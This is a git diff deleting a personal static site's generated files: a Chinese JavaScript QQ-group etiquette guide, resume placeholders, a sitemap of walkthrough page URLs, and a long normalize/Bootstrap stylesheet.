-
-Please enable JavaScript to view the comments powered by Disqus.
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
diff --git a/_site/params.json b/_site/params.json
deleted file mode 100644
index d119693..0000000
--- a/_site/params.json
+++ /dev/null
@@ -1 +0,0 @@
-{"name":"Unifreak.GitHub.io","tagline":"on the way to death, on the way of learning","body":"###Be back later...","google":"","note":"Don't delete this file! It's used internally to help with page regeneration."}
\ No newline at end of file
diff --git a/_site/qqGroupGuide/javascript.html b/_site/qqGroupGuide/javascript.html
deleted file mode 100644
index 5fe61a7..0000000
--- a/_site/qqGroupGuide/javascript.html
+++ /dev/null
@@ -1,165 +0,0 @@
-
-
-
-
-
- Javascript
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
用群指南(version 1 )
-
-
-创建日期: 2015-08-30
-
群主: UniFreak <fanghao90s@gmail.com >(744910240)
-
管理员:
-
-
-★生来^:^彷徨☆(2539122521)
-安置目眠(937928908)
-十年挂南墙(228366407)
-
-
-
-
交流原则
-
-
-尽量使用简单的群名片, 方便 @
-尽量使用 codebin 来共享代码, 常用 JS codebin
-
-
-禁发 JS 无关的问题(当然欢迎适当的幽默或周边讨论)
-禁止标准 QQ 表情之外的表情图片, 尽量使用文本形式的表情, 如
-
-
- :) :( ;) :P :s :D <3 :O xD :]
- O_O ~~ $.$ $ $ >.< >< o o
-
-除问题相关的图片外, 禁发其他图片
-禁发广告(包括招聘广告)
-
-
-
关于问问题(参见 提问的智慧 )
-
-
-问问题之前, 先自己进行代码测试, 或者查考相关手册, 利用搜索引擎, 优先自己解决
-如果自己解决不了, 请描述清楚自己的问题 , 包括
-
-
-你要达到什么目的?
-进行了什么尝试?
-遇到了那些问题? (错误提示等等)
-
-图片只是为了更好的描述问题, 不要指望发几张图片然后让其他人去 '领悟' 你的问题
-如需让人查看你的代码, 请使用 jsbin 或 jsfiddle
-直接描述问题, 无需进行 '大神在吗?' 等之类的客套
-
-
-
相关资源
-
-
https://developer.mozilla.org/zh-CN/docs/Web/JavaScript
- ECMAScript 官网: http://www.ecmascript.org/docs.php
-
深入理解 JS: http://www.cnblogs.com/TomXu/archive/2011/12/15/2288411.html
-
W3School 中文: http://www.w3school.com.cn/js/index.asp
-
-
-
* W3School 被很多国内大牛推崇, 但是被很多国外大牛所鄙斥(详见 http://www.w3fools.com/ ). 如果可能, 尽量使用 MDN.
-
-
Javascript 高级编程程序设计
- JavaScript 语言精粹
-
-
-
-
-
-
Please enable JavaScript to view the comments powered by Disqus.
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/_site/resume/Walko_Paul-Resume.pdf b/_site/resume/Walko_Paul-Resume.pdf
deleted file mode 100644
index e150655..0000000
Binary files a/_site/resume/Walko_Paul-Resume.pdf and /dev/null differ
diff --git a/_site/resume/i.pdf b/_site/resume/i.pdf
deleted file mode 100644
index 46cc5ba..0000000
Binary files a/_site/resume/i.pdf and /dev/null differ
diff --git a/_site/resume/index.html b/_site/resume/index.html
deleted file mode 100644
index cb96b87..0000000
--- a/_site/resume/index.html
+++ /dev/null
@@ -1,34 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
diff --git a/_site/resume/index.md b/_site/resume/index.md
deleted file mode 100644
index e69de29..0000000
diff --git a/_site/resume/index.pdf b/_site/resume/index.pdf
deleted file mode 100644
index 52ca628..0000000
Binary files a/_site/resume/index.pdf and /dev/null differ
diff --git a/_site/robots.txt b/_site/robots.txt
deleted file mode 100644
index e69de29..0000000
diff --git a/_site/sitemap.txt b/_site/sitemap.txt
deleted file mode 100644
index 093b82a..0000000
--- a/_site/sitemap.txt
+++ /dev/null
@@ -1,12 +0,0 @@
-https://paul.walko.org//writeup/violator_walkthrough
-https://paul.walko.org//writeup/stapler_walkthough
-https://paul.walko.org//writeup/nebula_exploit_exercises
-
-
-
-
-
-
-
-
-
diff --git a/_site/sitemap.xml b/_site/sitemap.xml
deleted file mode 100644
index fc588d8..0000000
--- a/_site/sitemap.xml
+++ /dev/null
@@ -1,34 +0,0 @@
-
-
-
-
- https://paul.walko.org//writeup/violator_walkthrough
- 2016-07-10T03:29:31-04:00
- weekly
-
-
-
- https://paul.walko.org//writeup/stapler_walkthough
- 2016-07-10T03:29:31-04:00
- weekly
-
-
-
- https://paul.walko.org//writeup/nebula_exploit_exercises
- 2016-07-10T03:29:31-04:00
- weekly
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/_site/stapler_walkthough.html b/_site/stapler_walkthough.html
deleted file mode 100644
index 8b13789..0000000
--- a/_site/stapler_walkthough.html
+++ /dev/null
@@ -1 +0,0 @@
-
diff --git a/_site/stylesheets/base.css b/_site/stylesheets/base.css
deleted file mode 100755
index 4643a78..0000000
--- a/_site/stylesheets/base.css
+++ /dev/null
@@ -1,4646 +0,0 @@
-@charset "UTF-8";
-/*! normalize.css v3.0.3 | MIT License | github.com/necolas/normalize.css */
-/**
- * 1. Set default font family to sans-serif.
- * 2. Prevent iOS and IE text size adjust after device orientation change,
- * without disabling user zoom.
- */
-html {
- font-family: sans-serif;
- /* 1 */
- -ms-text-size-adjust: 100%;
- /* 2 */
- -webkit-text-size-adjust: 100%;
- /* 2 */
-}
-
-/**
- * Remove default margin.
- */
-body {
- margin: 0;
-}
-
-/* HTML5 display definitions
- ========================================================================== */
-/**
- * Correct `block` display not defined for any HTML5 element in IE 8/9.
- * Correct `block` display not defined for `details` or `summary` in IE 10/11
- * and Firefox.
- * Correct `block` display not defined for `main` in IE 11.
- */
-article,
-aside,
-details,
-figcaption,
-figure,
-footer,
-header,
-hgroup,
-main,
-menu,
-nav,
-section,
-summary {
- display: block;
-}
-
-/**
- * 1. Correct `inline-block` display not defined in IE 8/9.
- * 2. Normalize vertical alignment of `progress` in Chrome, Firefox, and Opera.
- */
-audio,
-canvas,
-progress,
-video {
- display: inline-block;
- /* 1 */
- vertical-align: baseline;
- /* 2 */
-}
-
-/**
- * Prevent modern browsers from displaying `audio` without controls.
- * Remove excess height in iOS 5 devices.
- */
-audio:not([controls]) {
- display: none;
- height: 0;
-}
-
-/**
- * Address `[hidden]` styling not present in IE 8/9/10.
- * Hide the `template` element in IE 8/9/10/11, Safari, and Firefox < 22.
- */
-[hidden],
-template {
- display: none;
-}
-
-/* Links
- ========================================================================== */
-/**
- * Remove the gray background color from active links in IE 10.
- */
-a {
- background-color: transparent;
-}
-
-/**
- * Improve readability of focused elements when they are also in an
- * active/hover state.
- */
-a:active,
-a:hover {
- outline: 0;
-}
-
-/* Text-level semantics
- ========================================================================== */
-/**
- * Address styling not present in IE 8/9/10/11, Safari, and Chrome.
- */
-abbr[title] {
- border-bottom: 1px dotted;
-}
-
-/**
- * Address style set to `bolder` in Firefox 4+, Safari, and Chrome.
- */
-b,
-strong {
- font-weight: bold;
-}
-
-/**
- * Address styling not present in Safari and Chrome.
- */
-dfn {
- font-style: italic;
-}
-
-/**
- * Address variable `h1` font-size and margin within `section` and `article`
- * contexts in Firefox 4+, Safari, and Chrome.
- */
-h1 {
- font-size: 2em;
- margin: 0.67em 0;
-}
-
-/**
- * Address styling not present in IE 8/9.
- */
-mark {
- background: #ff0;
- color: #000;
-}
-
-/**
- * Address inconsistent and variable font size in all browsers.
- */
-small {
- font-size: 80%;
-}
-
-/**
- * Prevent `sub` and `sup` affecting `line-height` in all browsers.
- */
-sub,
-sup {
- font-size: 75%;
- line-height: 0;
- position: relative;
- vertical-align: baseline;
-}
-
-sup {
- top: -0.5em;
-}
-
-sub {
- bottom: -0.25em;
-}
-
-/* Embedded content
- ========================================================================== */
-/**
- * Remove border when inside `a` element in IE 8/9/10.
- */
-img {
- border: 0;
-}
-
-/**
- * Correct overflow not hidden in IE 9/10/11.
- */
-svg:not(:root) {
- overflow: hidden;
-}
-
-/* Grouping content
- ========================================================================== */
-/**
- * Address margin not present in IE 8/9 and Safari.
- */
-figure {
- margin: 1em 40px;
-}
-
-/**
- * Address differences between Firefox and other browsers.
- */
-hr {
- box-sizing: content-box;
- height: 0;
-}
-
-/**
- * Contain overflow in all browsers.
- */
-pre {
- overflow: auto;
-}
-
-/**
- * Address odd `em`-unit font size rendering in all browsers.
- */
-code,
-kbd,
-pre,
-samp {
- font-family: monospace, monospace;
- font-size: 1em;
- background-color:rgba(192,192,192,0.6);
-}
-
-/* Forms
- ========================================================================== */
-/**
- * Known limitation: by default, Chrome and Safari on OS X allow very limited
- * styling of `select`, unless a `border` property is set.
- */
-/**
- * 1. Correct color not being inherited.
- * Known issue: affects color of disabled elements.
- * 2. Correct font properties not being inherited.
- * 3. Address margins set differently in Firefox 4+, Safari, and Chrome.
- */
-button,
-input,
-optgroup,
-select,
-textarea {
- color: inherit;
- /* 1 */
- font: inherit;
- /* 2 */
- margin: 0;
- /* 3 */
-}
-
-/**
- * Address `overflow` set to `hidden` in IE 8/9/10/11.
- */
-button {
- overflow: visible;
-}
-
-/**
- * Address inconsistent `text-transform` inheritance for `button` and `select`.
- * All other form control elements do not inherit `text-transform` values.
- * Correct `button` style inheritance in Firefox, IE 8/9/10/11, and Opera.
- * Correct `select` style inheritance in Firefox.
- */
-button,
-select {
- text-transform: none;
-}
-
-/**
- * 1. Avoid the WebKit bug in Android 4.0.* where (2) destroys native `audio`
- * and `video` controls.
- * 2. Correct inability to style clickable `input` types in iOS.
- * 3. Improve usability and consistency of cursor style between image-type
- * `input` and others.
- */
-button,
-html input[type="button"],
-input[type="reset"],
-input[type="submit"] {
- -webkit-appearance: button;
- /* 2 */
- cursor: pointer;
- /* 3 */
-}
-
-/**
- * Re-set default cursor for disabled elements.
- */
-button[disabled],
-html input[disabled] {
- cursor: default;
-}
-
-/**
- * Remove inner padding and border in Firefox 4+.
- */
-button::-moz-focus-inner,
-input::-moz-focus-inner {
- border: 0;
- padding: 0;
-}
-
-/**
- * Address Firefox 4+ setting `line-height` on `input` using `!important` in
- * the UA stylesheet.
- */
-input {
- line-height: normal;
-}
-
-/**
- * It's recommended that you don't attempt to style these elements.
- * Firefox's implementation doesn't respect box-sizing, padding, or width.
- *
- * 1. Address box sizing set to `content-box` in IE 8/9/10.
- * 2. Remove excess padding in IE 8/9/10.
- */
-input[type="checkbox"],
-input[type="radio"] {
- box-sizing: border-box;
- /* 1 */
- padding: 0;
- /* 2 */
-}
-
-/**
- * Fix the cursor style for Chrome's increment/decrement buttons. For certain
- * `font-size` values of the `input`, it causes the cursor style of the
- * decrement button to change from `default` to `text`.
- */
-input[type="number"]::-webkit-inner-spin-button,
-input[type="number"]::-webkit-outer-spin-button {
- height: auto;
-}
-
-/**
- * 1. Address `appearance` set to `searchfield` in Safari and Chrome.
- * 2. Address `box-sizing` set to `border-box` in Safari and Chrome.
- */
-input[type="search"] {
- -webkit-appearance: textfield;
- /* 1 */
- box-sizing: content-box;
- /* 2 */
-}
-
-/**
- * Remove inner padding and search cancel button in Safari and Chrome on OS X.
- * Safari (but not Chrome) clips the cancel button when the search input has
- * padding (and `textfield` appearance).
- */
-input[type="search"]::-webkit-search-cancel-button,
-input[type="search"]::-webkit-search-decoration {
- -webkit-appearance: none;
-}
-
-/**
- * Define consistent border, margin, and padding.
- */
-fieldset {
- border: 1px solid #c0c0c0;
- margin: 0 2px;
- padding: 0.35em 0.625em 0.75em;
-}
-
-/**
- * 1. Correct `color` not being inherited in IE 8/9/10/11.
- * 2. Remove padding so people aren't caught out if they zero out fieldsets.
- */
-legend {
- border: 0;
- /* 1 */
- padding: 0;
- /* 2 */
-}
-
-/**
- * Remove default vertical scrollbar in IE 8/9/10/11.
- */
-textarea {
- overflow: auto;
-}
-
-/**
- * Don't inherit the `font-weight` (applied by a rule above).
- * NOTE: the default cannot safely be changed in Chrome and Safari on OS X.
- */
-optgroup {
- font-weight: bold;
-}
-
-/* Tables
- ========================================================================== */
-/**
- * Remove most spacing between table cells.
- */
-table {
- border-collapse: collapse;
- border-spacing: 0;
-}
-
-td,
-th {
- padding: 0;
-}
-
-/**
- * ----------------------------------------------------------------------------------------
- * Bootstrap styles
- * ----------------------------------------------------------------------------------------
- */
-/*!
- * Bootstrap v3.3.5 (http://getbootstrap.com)
- * Copyright 2011-2015 Twitter, Inc.
- * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
- */
-/*!
- * Generated using the Bootstrap Customizer (http://getbootstrap.com/customize/?id=00f31e3348ad3a0a7c71)
- * Config saved to config.json and https://gist.github.com/00f31e3348ad3a0a7c71
- */
-/*!
- * Bootstrap v3.3.5 (http://getbootstrap.com)
- * Copyright 2011-2015 Twitter, Inc.
- * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
- */
-* {
- -webkit-box-sizing: border-box;
- -moz-box-sizing: border-box;
- box-sizing: border-box;
-}
-
-*:before,
-*:after {
- -webkit-box-sizing: border-box;
- -moz-box-sizing: border-box;
- box-sizing: border-box;
-}
-
-html {
- font-size: 10px;
- -webkit-tap-highlight-color: transparent;
-}
-
-body {
- font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
- font-size: 14px;
- line-height: 1.42857143;
- color: #333333;
- background-color: #ffffff;
-}
-
-input,
-button,
-select,
-textarea {
- font-family: inherit;
- font-size: inherit;
- line-height: inherit;
-}
-
-a {
- color: #337ab7;
- text-decoration: none;
-}
-
-a:hover,
-a:focus {
- color: #23527c;
- text-decoration: underline;
-}
-
-a:focus {
- outline: thin dotted;
- outline: 5px auto -webkit-focus-ring-color;
- outline-offset: -2px;
-}
-
-figure {
- margin: 0;
-}
-
-img {
- vertical-align: middle;
-}
-
-.img-responsive {
- display: block;
- max-width: 100%;
- height: auto;
-}
-
-.img-rounded {
- border-radius: 6px;
-}
-
-.img-thumbnail {
- padding: 4px;
- line-height: 1.42857143;
- background-color: #ffffff;
- border: 1px solid #dddddd;
- border-radius: 4px;
- -webkit-transition: all 0.2s ease-in-out;
- -o-transition: all 0.2s ease-in-out;
- transition: all 0.2s ease-in-out;
- display: inline-block;
- max-width: 100%;
- height: auto;
-}
-
-.img-circle {
- border-radius: 50%;
-}
-
-hr {
- margin-top: 20px;
- margin-bottom: 20px;
- border: 0;
- border-top: 1px solid #eeeeee;
-}
-
-.sr-only {
- position: absolute;
- width: 1px;
- height: 1px;
- margin: -1px;
- padding: 0;
- overflow: hidden;
- clip: rect(0, 0, 0, 0);
- border: 0;
-}
-
-.sr-only-focusable:active,
-.sr-only-focusable:focus {
- position: static;
- width: auto;
- height: auto;
- margin: 0;
- overflow: visible;
- clip: auto;
-}
-
-[role="button"] {
- cursor: pointer;
-}
-
-.container {
- margin-right: auto;
- margin-left: auto;
- padding-left: 15px;
- padding-right: 15px;
-}
-
-@media (min-width: 768px) {
- .container {
- width: 750px;
- }
-}
-@media (min-width: 992px) {
- .container {
- width: 970px;
- }
-}
-@media (min-width: 1200px) {
- .container {
- width: 1170px;
- }
-}
-.container-fluid {
- margin-right: auto;
- margin-left: auto;
- padding-left: 15px;
- padding-right: 15px;
-}
-
-.row {
- margin-left: -15px;
- margin-right: -15px;
-}
-
-.col-xs-1, .col-sm-1, .col-md-1, .col-lg-1, .col-xs-2, .col-sm-2, .col-md-2, .col-lg-2, .col-xs-3, .col-sm-3, .col-md-3, .col-lg-3, .col-xs-4, .col-sm-4, .col-md-4, .col-lg-4, .col-xs-5, .col-sm-5, .col-md-5, .col-lg-5, .col-xs-6, .col-sm-6, .col-md-6, .col-lg-6, .col-xs-7, .col-sm-7, .col-md-7, .col-lg-7, .col-xs-8, .col-sm-8, .col-md-8, .col-lg-8, .col-xs-9, .col-sm-9, .col-md-9, .col-lg-9, .col-xs-10, .col-sm-10, .col-md-10, .col-lg-10, .col-xs-11, .col-sm-11, .col-md-11, .col-lg-11, .col-xs-12, .col-sm-12, .col-md-12, .col-lg-12 {
- position: relative;
- min-height: 1px;
- padding-left: 15px;
- padding-right: 15px;
-}
-
-.col-xs-1, .col-xs-2, .col-xs-3, .col-xs-4, .col-xs-5, .col-xs-6, .col-xs-7, .col-xs-8, .col-xs-9, .col-xs-10, .col-xs-11, .col-xs-12 {
- float: left;
-}
-
-.col-xs-12 {
- width: 100%;
-}
-
-.col-xs-11 {
- width: 91.66666667%;
-}
-
-.col-xs-10 {
- width: 83.33333333%;
-}
-
-.col-xs-9 {
- width: 75%;
-}
-
-.col-xs-8 {
- width: 66.66666667%;
-}
-
-.col-xs-7 {
- width: 58.33333333%;
-}
-
-.col-xs-6 {
- width: 50%;
-}
-
-.col-xs-5 {
- width: 41.66666667%;
-}
-
-.col-xs-4 {
- width: 33.33333333%;
-}
-
-.col-xs-3 {
- width: 25%;
-}
-
-.col-xs-2 {
- width: 16.66666667%;
-}
-
-.col-xs-1 {
- width: 8.33333333%;
-}
-
-.col-xs-pull-12 {
- right: 100%;
-}
-
-.col-xs-pull-11 {
- right: 91.66666667%;
-}
-
-.col-xs-pull-10 {
- right: 83.33333333%;
-}
-
-.col-xs-pull-9 {
- right: 75%;
-}
-
-.col-xs-pull-8 {
- right: 66.66666667%;
-}
-
-.col-xs-pull-7 {
- right: 58.33333333%;
-}
-
-.col-xs-pull-6 {
- right: 50%;
-}
-
-.col-xs-pull-5 {
- right: 41.66666667%;
-}
-
-.col-xs-pull-4 {
- right: 33.33333333%;
-}
-
-.col-xs-pull-3 {
- right: 25%;
-}
-
-.col-xs-pull-2 {
- right: 16.66666667%;
-}
-
-.col-xs-pull-1 {
- right: 8.33333333%;
-}
-
-.col-xs-pull-0 {
- right: auto;
-}
-
-.col-xs-push-12 {
- left: 100%;
-}
-
-.col-xs-push-11 {
- left: 91.66666667%;
-}
-
-.col-xs-push-10 {
- left: 83.33333333%;
-}
-
-.col-xs-push-9 {
- left: 75%;
-}
-
-.col-xs-push-8 {
- left: 66.66666667%;
-}
-
-.col-xs-push-7 {
- left: 58.33333333%;
-}
-
-.col-xs-push-6 {
- left: 50%;
-}
-
-.col-xs-push-5 {
- left: 41.66666667%;
-}
-
-.col-xs-push-4 {
- left: 33.33333333%;
-}
-
-.col-xs-push-3 {
- left: 25%;
-}
-
-.col-xs-push-2 {
- left: 16.66666667%;
-}
-
-.col-xs-push-1 {
- left: 8.33333333%;
-}
-
-.col-xs-push-0 {
- left: auto;
-}
-
-.col-xs-offset-12 {
- margin-left: 100%;
-}
-
-.col-xs-offset-11 {
- margin-left: 91.66666667%;
-}
-
-.col-xs-offset-10 {
- margin-left: 83.33333333%;
-}
-
-.col-xs-offset-9 {
- margin-left: 75%;
-}
-
-.col-xs-offset-8 {
- margin-left: 66.66666667%;
-}
-
-.col-xs-offset-7 {
- margin-left: 58.33333333%;
-}
-
-.col-xs-offset-6 {
- margin-left: 50%;
-}
-
-.col-xs-offset-5 {
- margin-left: 41.66666667%;
-}
-
-.col-xs-offset-4 {
- margin-left: 33.33333333%;
-}
-
-.col-xs-offset-3 {
- margin-left: 25%;
-}
-
-.col-xs-offset-2 {
- margin-left: 16.66666667%;
-}
-
-.col-xs-offset-1 {
- margin-left: 8.33333333%;
-}
-
-.col-xs-offset-0 {
- margin-left: 0%;
-}
-
-@media (min-width: 768px) {
- .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12 {
- float: left;
- }
-
- .col-sm-12 {
- width: 100%;
- }
-
- .col-sm-11 {
- width: 91.66666667%;
- }
-
- .col-sm-10 {
- width: 83.33333333%;
- }
-
- .col-sm-9 {
- width: 75%;
- }
-
- .col-sm-8 {
- width: 66.66666667%;
- }
-
- .col-sm-7 {
- width: 58.33333333%;
- }
-
- .col-sm-6 {
- width: 50%;
- }
-
- .col-sm-5 {
- width: 41.66666667%;
- }
-
- .col-sm-4 {
- width: 33.33333333%;
- }
-
- .col-sm-3 {
- width: 25%;
- }
-
- .col-sm-2 {
- width: 16.66666667%;
- }
-
- .col-sm-1 {
- width: 8.33333333%;
- }
-
- .col-sm-pull-12 {
- right: 100%;
- }
-
- .col-sm-pull-11 {
- right: 91.66666667%;
- }
-
- .col-sm-pull-10 {
- right: 83.33333333%;
- }
-
- .col-sm-pull-9 {
- right: 75%;
- }
-
- .col-sm-pull-8 {
- right: 66.66666667%;
- }
-
- .col-sm-pull-7 {
- right: 58.33333333%;
- }
-
- .col-sm-pull-6 {
- right: 50%;
- }
-
- .col-sm-pull-5 {
- right: 41.66666667%;
- }
-
- .col-sm-pull-4 {
- right: 33.33333333%;
- }
-
- .col-sm-pull-3 {
- right: 25%;
- }
-
- .col-sm-pull-2 {
- right: 16.66666667%;
- }
-
- .col-sm-pull-1 {
- right: 8.33333333%;
- }
-
- .col-sm-pull-0 {
- right: auto;
- }
-
- .col-sm-push-12 {
- left: 100%;
- }
-
- .col-sm-push-11 {
- left: 91.66666667%;
- }
-
- .col-sm-push-10 {
- left: 83.33333333%;
- }
-
- .col-sm-push-9 {
- left: 75%;
- }
-
- .col-sm-push-8 {
- left: 66.66666667%;
- }
-
- .col-sm-push-7 {
- left: 58.33333333%;
- }
-
- .col-sm-push-6 {
- left: 50%;
- }
-
- .col-sm-push-5 {
- left: 41.66666667%;
- }
-
- .col-sm-push-4 {
- left: 33.33333333%;
- }
-
- .col-sm-push-3 {
- left: 25%;
- }
-
- .col-sm-push-2 {
- left: 16.66666667%;
- }
-
- .col-sm-push-1 {
- left: 8.33333333%;
- }
-
- .col-sm-push-0 {
- left: auto;
- }
-
- .col-sm-offset-12 {
- margin-left: 100%;
- }
-
- .col-sm-offset-11 {
- margin-left: 91.66666667%;
- }
-
- .col-sm-offset-10 {
- margin-left: 83.33333333%;
- }
-
- .col-sm-offset-9 {
- margin-left: 75%;
- }
-
- .col-sm-offset-8 {
- margin-left: 66.66666667%;
- }
-
- .col-sm-offset-7 {
- margin-left: 58.33333333%;
- }
-
- .col-sm-offset-6 {
- margin-left: 50%;
- }
-
- .col-sm-offset-5 {
- margin-left: 41.66666667%;
- }
-
- .col-sm-offset-4 {
- margin-left: 33.33333333%;
- }
-
- .col-sm-offset-3 {
- margin-left: 25%;
- }
-
- .col-sm-offset-2 {
- margin-left: 16.66666667%;
- }
-
- .col-sm-offset-1 {
- margin-left: 8.33333333%;
- }
-
- .col-sm-offset-0 {
- margin-left: 0%;
- }
-}
-@media (min-width: 992px) {
- .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12 {
- float: left;
- }
-
- .col-md-12 {
- width: 100%;
- }
-
- .col-md-11 {
- width: 91.66666667%;
- }
-
- .col-md-10 {
- width: 83.33333333%;
- }
-
- .col-md-9 {
- width: 75%;
- }
-
- .col-md-8 {
- width: 66.66666667%;
- }
-
- .col-md-7 {
- width: 58.33333333%;
- }
-
- .col-md-6 {
- width: 50%;
- }
-
- .col-md-5 {
- width: 41.66666667%;
- }
-
- .col-md-4 {
- width: 33.33333333%;
- }
-
- .col-md-3 {
- width: 25%;
- }
-
- .col-md-2 {
- width: 16.66666667%;
- }
-
- .col-md-1 {
- width: 8.33333333%;
- }
-
- .col-md-pull-12 {
- right: 100%;
- }
-
- .col-md-pull-11 {
- right: 91.66666667%;
- }
-
- .col-md-pull-10 {
- right: 83.33333333%;
- }
-
- .col-md-pull-9 {
- right: 75%;
- }
-
- .col-md-pull-8 {
- right: 66.66666667%;
- }
-
- .col-md-pull-7 {
- right: 58.33333333%;
- }
-
- .col-md-pull-6 {
- right: 50%;
- }
-
- .col-md-pull-5 {
- right: 41.66666667%;
- }
-
- .col-md-pull-4 {
- right: 33.33333333%;
- }
-
- .col-md-pull-3 {
- right: 25%;
- }
-
- .col-md-pull-2 {
- right: 16.66666667%;
- }
-
- .col-md-pull-1 {
- right: 8.33333333%;
- }
-
- .col-md-pull-0 {
- right: auto;
- }
-
- .col-md-push-12 {
- left: 100%;
- }
-
- .col-md-push-11 {
- left: 91.66666667%;
- }
-
- .col-md-push-10 {
- left: 83.33333333%;
- }
-
- .col-md-push-9 {
- left: 75%;
- }
-
- .col-md-push-8 {
- left: 66.66666667%;
- }
-
- .col-md-push-7 {
- left: 58.33333333%;
- }
-
- .col-md-push-6 {
- left: 50%;
- }
-
- .col-md-push-5 {
- left: 41.66666667%;
- }
-
- .col-md-push-4 {
- left: 33.33333333%;
- }
-
- .col-md-push-3 {
- left: 25%;
- }
-
- .col-md-push-2 {
- left: 16.66666667%;
- }
-
- .col-md-push-1 {
- left: 8.33333333%;
- }
-
- .col-md-push-0 {
- left: auto;
- }
-
- .col-md-offset-12 {
- margin-left: 100%;
- }
-
- .col-md-offset-11 {
- margin-left: 91.66666667%;
- }
-
- .col-md-offset-10 {
- margin-left: 83.33333333%;
- }
-
- .col-md-offset-9 {
- margin-left: 75%;
- }
-
- .col-md-offset-8 {
- margin-left: 66.66666667%;
- }
-
- .col-md-offset-7 {
- margin-left: 58.33333333%;
- }
-
- .col-md-offset-6 {
- margin-left: 50%;
- }
-
- .col-md-offset-5 {
- margin-left: 41.66666667%;
- }
-
- .col-md-offset-4 {
- margin-left: 33.33333333%;
- }
-
- .col-md-offset-3 {
- margin-left: 25%;
- }
-
- .col-md-offset-2 {
- margin-left: 16.66666667%;
- }
-
- .col-md-offset-1 {
- margin-left: 8.33333333%;
- }
-
- .col-md-offset-0 {
- margin-left: 0%;
- }
-}
-@media (min-width: 1200px) {
- .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12 {
- float: left;
- }
-
- .col-lg-12 {
- width: 100%;
- }
-
- .col-lg-11 {
- width: 91.66666667%;
- }
-
- .col-lg-10 {
- width: 83.33333333%;
- }
-
- .col-lg-9 {
- width: 75%;
- }
-
- .col-lg-8 {
- width: 66.66666667%;
- }
-
- .col-lg-7 {
- width: 58.33333333%;
- }
-
- .col-lg-6 {
- width: 50%;
- }
-
- .col-lg-5 {
- width: 41.66666667%;
- }
-
- .col-lg-4 {
- width: 33.33333333%;
- }
-
- .col-lg-3 {
- width: 25%;
- }
-
- .col-lg-2 {
- width: 16.66666667%;
- }
-
- .col-lg-1 {
- width: 8.33333333%;
- }
-
- .col-lg-pull-12 {
- right: 100%;
- }
-
- .col-lg-pull-11 {
- right: 91.66666667%;
- }
-
- .col-lg-pull-10 {
- right: 83.33333333%;
- }
-
- .col-lg-pull-9 {
- right: 75%;
- }
-
- .col-lg-pull-8 {
- right: 66.66666667%;
- }
-
- .col-lg-pull-7 {
- right: 58.33333333%;
- }
-
- .col-lg-pull-6 {
- right: 50%;
- }
-
- .col-lg-pull-5 {
- right: 41.66666667%;
- }
-
- .col-lg-pull-4 {
- right: 33.33333333%;
- }
-
- .col-lg-pull-3 {
- right: 25%;
- }
-
- .col-lg-pull-2 {
- right: 16.66666667%;
- }
-
- .col-lg-pull-1 {
- right: 8.33333333%;
- }
-
- .col-lg-pull-0 {
- right: auto;
- }
-
- .col-lg-push-12 {
- left: 100%;
- }
-
- .col-lg-push-11 {
- left: 91.66666667%;
- }
-
- .col-lg-push-10 {
- left: 83.33333333%;
- }
-
- .col-lg-push-9 {
- left: 75%;
- }
-
- .col-lg-push-8 {
- left: 66.66666667%;
- }
-
- .col-lg-push-7 {
- left: 58.33333333%;
- }
-
- .col-lg-push-6 {
- left: 50%;
- }
-
- .col-lg-push-5 {
- left: 41.66666667%;
- }
-
- .col-lg-push-4 {
- left: 33.33333333%;
- }
-
- .col-lg-push-3 {
- left: 25%;
- }
-
- .col-lg-push-2 {
- left: 16.66666667%;
- }
-
- .col-lg-push-1 {
- left: 8.33333333%;
- }
-
- .col-lg-push-0 {
- left: auto;
- }
-
- .col-lg-offset-12 {
- margin-left: 100%;
- }
-
- .col-lg-offset-11 {
- margin-left: 91.66666667%;
- }
-
- .col-lg-offset-10 {
- margin-left: 83.33333333%;
- }
-
- .col-lg-offset-9 {
- margin-left: 75%;
- }
-
- .col-lg-offset-8 {
- margin-left: 66.66666667%;
- }
-
- .col-lg-offset-7 {
- margin-left: 58.33333333%;
- }
-
- .col-lg-offset-6 {
- margin-left: 50%;
- }
-
- .col-lg-offset-5 {
- margin-left: 41.66666667%;
- }
-
- .col-lg-offset-4 {
- margin-left: 33.33333333%;
- }
-
- .col-lg-offset-3 {
- margin-left: 25%;
- }
-
- .col-lg-offset-2 {
- margin-left: 16.66666667%;
- }
-
- .col-lg-offset-1 {
- margin-left: 8.33333333%;
- }
-
- .col-lg-offset-0 {
- margin-left: 0%;
- }
-}
-.clearfix:before,
-.clearfix:after,
-.container:before,
-.container:after,
-.container-fluid:before,
-.container-fluid:after,
-.row:before,
-.row:after {
- content: " ";
- display: table;
-}
-
-.clearfix:after,
-.container:after,
-.container-fluid:after,
-.row:after {
- clear: both;
-}
-
-.center-block {
- display: block;
- margin-left: auto;
- margin-right: auto;
-}
-
-.pull-right {
- float: right !important;
-}
-
-.pull-left {
- float: left !important;
-}
-
-.hide {
- display: none !important;
-}
-
-.show {
- display: block !important;
-}
-
-.invisible {
- visibility: hidden;
-}
-
-.text-hide {
- font: 0/0 a;
- color: transparent;
- text-shadow: none;
- background-color: transparent;
- border: 0;
-}
-
-.hidden {
- display: none !important;
-}
-
-.affix {
- position: fixed;
-}
-
-/**
- * ----------------------------------------------------------------------------------------
- * Site settings
- * ----------------------------------------------------------------------------------------
- */
-/* Typography */
-/* Color */
-/* Positioning */
-/**
- * ----------------------------------------------------------------------------------------
- * Utility
- * ----------------------------------------------------------------------------------------
- */
-.text-left {
- text-align: left;
-}
-
-.text-right {
- text-align: right;
-}
-
-.text-center {
- text-align: center;
-}
-
-.align-left {
- float: left;
-}
-
